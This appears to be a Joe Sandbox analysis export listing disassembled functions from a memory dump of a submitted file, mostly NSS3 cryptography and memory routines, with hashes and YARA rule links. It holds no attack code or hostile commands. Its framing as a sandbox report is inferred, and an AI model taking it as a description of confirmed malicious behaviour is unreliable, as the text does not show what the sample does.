Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 8dffebe5553767273dfae0f3441e29a009646d642811bb0e8042bc129b3c541c
Instruction ID: 02994e38b69d9e628b87965c15a8c604cce76d04641a6e6a6c5d273ebce733bc
Opcode Fuzzy Hash: 8dffebe5553767273dfae0f3441e29a009646d642811bb0e8042bc129b3c541c
Instruction Fuzzy Hash: 8A1133B2A026249BDE20EFA0D80C74637B8BF4A75BF004235E52AD7540C335E555CBD5

Function 6C5E9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6011C0: PR_NewLock.NSS3 ref: 6C601216

free.MOZGLUE(?), ref: 6C5E9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5E9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5E9E4E
TlsGetValue.KERNEL32 ref: 6C5E9EA2

Part of subcall function 6C5F9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C5F9546

EnterCriticalSection.KERNEL32(?), ref: 6C5E9EB6
PR_Unlock.NSS3 ref: 6C5E9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C5E9F18

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 632983c61204af064a7b2c221237844582f51f0048f7935a25bfa0195e35f18a
Instruction ID: 5534b0e122c6c1851bda8cb7d49ff4a12bc655f9da432b0c224de57bb4283bfb
Opcode Fuzzy Hash: 632983c61204af064a7b2c221237844582f51f0048f7935a25bfa0195e35f18a
Instruction Fuzzy Hash: 708118B1A00601ABE715DF34DC40AEB77E9BF8924CF044929ED5987B11FB31E919CB91

Function 6C5FDCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5FAB10: DeleteCriticalSection.KERNEL32(D958E852,6C601397,5B5F5EC0,?,?,6C5FB1EE,2404110F,?,?), ref: 6C5FAB3C
Part of subcall function 6C5FAB10: free.MOZGLUE(D958E836,?,6C5FB1EE,2404110F,?,?), ref: 6C5FAB49
Part of subcall function 6C5FAB10: DeleteCriticalSection.KERNEL32(5D5E6C7F), ref: 6C5FAB5C
Part of subcall function 6C5FAB10: free.MOZGLUE(5D5E6C73), ref: 6C5FAB63
Part of subcall function 6C5FAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C5FAB6F
Part of subcall function 6C5FAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C5FAB76

TlsGetValue.KERNEL32 ref: 6C5FDCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C5FDD0E
PK11_IsFriendly.NSS3(?), ref: 6C5FDD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C5FDD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5FDE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5FDEA6
PR_Unlock.NSS3(?), ref: 6C5FDF08

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 5f33edcea6342ef6d8fa8859201df44f8dcfd70846f808e440e7865b79415e7c
Instruction ID: 7444164fa8dbae4c414615f67428a9fa83936100e6e254c4dcbe160fb54b065f
Opcode Fuzzy Hash: 5f33edcea6342ef6d8fa8859201df44f8dcfd70846f808e440e7865b79415e7c
Instruction Fuzzy Hash: F891B3B5A001059FEB04CF68CC80BAAB7B5BF95309F154029DD299B741E731ED56CFA2

Function 6C5B5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C69BB62,00000004,6C704CA4,?,?,00000000,?,?,6C5731DB), ref: 6C5B60AB
sqlite3_config.NSS3(00000004,6C704CA4,6C69BB62,00000004,6C704CA4,?,?,00000000,?,?,6C5731DB), ref: 6C5B60EB
sqlite3_config.NSS3(00000012,6C704CC4,?,?,6C69BB62,00000004,6C704CA4,?,?,00000000,?,?,6C5731DB), ref: 6C5B6122

Strings

%s at line %d of [%.10s], xrefs: 6C5B60A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B6095
misuse, xrefs: 6C5B609F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 8f91f07947881ccbd1f78775f9dc82f8e9ded116e9b4412e111b068f857585f2
Instruction ID: a46b30183747a22f32caa3a1f2ef1548c09a58a09cf94cde03f9e59afb31e19f
Opcode Fuzzy Hash: 8f91f07947881ccbd1f78775f9dc82f8e9ded116e9b4412e111b068f857585f2
Instruction Fuzzy Hash: 3AB15070E0464ECFCB18CF58C6549A9BBF0FB1E304B158569D50DAB362DB34AE84CB96

Function 6C564F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C564FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5651BB

Strings

%s at line %d of [%.10s], xrefs: 6C5651B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5651A5
misuse, xrefs: 6C5651AF
unable to delete/modify user-function due to active statements, xrefs: 6C5651DF

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 26215217ba2891ca5dcba70a6d44e93e501b947558115c434aad609051818810
Instruction ID: 73f7ea3e564bfc047af99bced16df0abbd6df62731f32a25944b82915a492fd2
Opcode Fuzzy Hash: 26215217ba2891ca5dcba70a6d44e93e501b947558115c434aad609051818810
Instruction Fuzzy Hash: 2671CDB164420ADFEB00CE16CD80B9A77B9BF48318F484524FD598BFA2D731E950CBA1

Function 6C64FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C64F165,?), ref: 6C64FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C64F165,?), ref: 6C64FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C64F165,?), ref: 6C64FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C64F165,?), ref: 6C64FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C64F165,?), ref: 6C64FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C64F165,6C71219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C64FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C64F165,?), ref: 6C6500A6

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 8af3ac39439ab414d31e6e4de2e54c5878df7a27d09b34791fd9df354d9e8dea
Instruction ID: 7c85a9a566b5ffc63564ea2b65bca0c0ed9533e0960d58a906e7b4ceb8264e19
Opcode Fuzzy Hash: 8af3ac39439ab414d31e6e4de2e54c5878df7a27d09b34791fd9df354d9e8dea
Instruction Fuzzy Hash: 9F512471E006559BDB108E58C8807AEB7B6BB4931CFB84229DC55A7B00D332EC21CBE9

Function 6C60DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C60DF37
EnterCriticalSection.KERNEL32(?), ref: 6C60DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C60DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C60E02B
PR_Unlock.NSS3(?), ref: 6C60E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C60E090
PR_Unlock.NSS3(?), ref: 6C60E0AF

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 0b18cfdf6e12b32e21c5f95e2a2b4cd02862a39d883d886f985d6f4ced7493c1
Instruction ID: 076333100b81029f2c599d4e2b930a48b7ff75287bbee61ec96270418b216cfb
Opcode Fuzzy Hash: 0b18cfdf6e12b32e21c5f95e2a2b4cd02862a39d883d886f985d6f4ced7493c1
Instruction Fuzzy Hash: B351B171B00600DFE7289F24D944B9673B5FF45318F108629E89B67BA1D731E868CB9A

Function 6C62AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C62AB3E,?,?,?), ref: 6C62AC35

Part of subcall function 6C60CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C60CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C62AB3E,?,?,?), ref: 6C62AC55

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C62AB3E,?,?), ref: 6C62AC70

Part of subcall function 6C60E300: TlsGetValue.KERNEL32 ref: 6C60E33C
Part of subcall function 6C60E300: EnterCriticalSection.KERNEL32(?), ref: 6C60E350
Part of subcall function 6C60E300: PR_Unlock.NSS3(?), ref: 6C60E5BC
Part of subcall function 6C60E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C60E5CA
Part of subcall function 6C60E300: TlsGetValue.KERNEL32 ref: 6C60E5F2
Part of subcall function 6C60E300: EnterCriticalSection.KERNEL32(?), ref: 6C60E606
Part of subcall function 6C60E300: PORT_Alloc_Util.NSS3(?), ref: 6C60E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C62AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C62AB3E), ref: 6C62ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C62AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C62AD2B

Part of subcall function 6C60F360: TlsGetValue.KERNEL32(00000000,?,6C62A904,?), ref: 6C60F38B
Part of subcall function 6C60F360: EnterCriticalSection.KERNEL32(?,?,?,6C62A904,?), ref: 6C60F3A0
Part of subcall function 6C60F360: PR_Unlock.NSS3(?,?,?,?,6C62A904,?), ref: 6C60F3D3

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 23cbe361d1198a1da4ac83baa792ac00e14c0e0d3ef9726d5ee98921de79786a
Instruction ID: 5ca557abf9cae59fa52225469fc10d9c4aeaf83231f7b195eacc27b059016b45
Opcode Fuzzy Hash: 23cbe361d1198a1da4ac83baa792ac00e14c0e0d3ef9726d5ee98921de79786a
Instruction Fuzzy Hash: 6C3159B1F006055FEB048F29CC409AF77B6EF85328B188128E815ABB41EB35DC05CBA9

Function 6C608C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C608C7C

Part of subcall function 6C6A9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C6F0A27), ref: 6C6A9DC6
Part of subcall function 6C6A9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C6F0A27), ref: 6C6A9DD1
Part of subcall function 6C6A9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6A9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C608CB0
TlsGetValue.KERNEL32 ref: 6C608CD1
EnterCriticalSection.KERNEL32(?), ref: 6C608CE5
PR_Unlock.NSS3(?), ref: 6C608D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C608D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C608D93

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 5dfd40658cb988e95ace0b131f2c0e57c5b4121fd84f0b74dcce2f6889b4a039
Instruction ID: 3de5a104429f7952a773d65ab9b313040c683ff5f0a77d8f8e9473b52f09fe80
Opcode Fuzzy Hash: 5dfd40658cb988e95ace0b131f2c0e57c5b4121fd84f0b74dcce2f6889b4a039
Instruction Fuzzy Hash: 9D311171B01201ABE704EF68DD4479AB7B0FF59318F140236EA1967BA0D770A924C7D9

Function 6C649D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C649C5B), ref: 6C649D82

Part of subcall function 6C6414C0: TlsGetValue.KERNEL32 ref: 6C6414E0
Part of subcall function 6C6414C0: EnterCriticalSection.KERNEL32 ref: 6C6414F5
Part of subcall function 6C6414C0: PR_Unlock.NSS3 ref: 6C64150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C649C5B), ref: 6C649DA9

Part of subcall function 6C641340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C5E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5DF599,?,00000000), ref: 6C64136A
Part of subcall function 6C641340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C5E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5DF599,?,00000000), ref: 6C64137E
Part of subcall function 6C641340: PL_ArenaGrow.NSS3(?,6C5DF599,?,00000000,?,6C5E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5DF599,?), ref: 6C6413CF
Part of subcall function 6C641340: PR_Unlock.NSS3(?,?,6C5E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5DF599,?,00000000), ref: 6C64145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C649C5B), ref: 6C649DCE

Part of subcall function 6C641340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C5E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5DF599,?,00000000), ref: 6C6413F0
Part of subcall function 6C641340: PL_ArenaGrow.NSS3(?,6C5DF599,?,?,?,00000000,00000000,?,6C5E895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C641445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C649C5B), ref: 6C649DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C649C5B), ref: 6C649DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C649C5B), ref: 6C649E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C649C5B), ref: 6C649E91

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

Part of subcall function 6C641560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C63FAAB,00000000), ref: 6C64157E
Part of subcall function 6C641560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C63FAAB,00000000), ref: 6C641592
Part of subcall function 6C641560: memset.VCRUNTIME140(?,00000000,?), ref: 6C641600
Part of subcall function 6C641560: PL_ArenaRelease.NSS3(?,?), ref: 6C641620
Part of subcall function 6C641560: PR_Unlock.NSS3(?), ref: 6C641639

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 8ce8cffd0ce5723bf55cb687a5fe8190bcb67f238b9e8272ccfab5b153751c8a
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: EC4179B4601606AFE704CF14D940FA2BBA5BF45348F14C128D8188BFA1EB72E839CB94

Function 6C60DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C60DDEC

Part of subcall function 6C640840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6408B4

PK11_DigestBegin.NSS3(00000000), ref: 6C60DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C60DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C60DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C60DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C60DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C60DECC

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: fecbdabe689a3b27e1e2dfb375d69f66c938cd8b8fa1845c3444f6a7c3af5eca
Instruction ID: 413a4c63dba08bf649da64e620e6b93f438ee4d235e50a2513717f538037ba5c
Opcode Fuzzy Hash: fecbdabe689a3b27e1e2dfb375d69f66c938cd8b8fa1845c3444f6a7c3af5eca
Instruction Fuzzy Hash: 2C31C7B2A002146BDB04AF64AE41BBB76B8DF55708F050235ED09B7742FB31D919C6EA

Function 6C5E7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5E7E48

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C5E7E5B

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5E7E7B

Part of subcall function 6C63FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C638D2D,?,00000000,?), ref: 6C63FB85
Part of subcall function 6C63FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C63FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C70925C,?), ref: 6C5E7E92

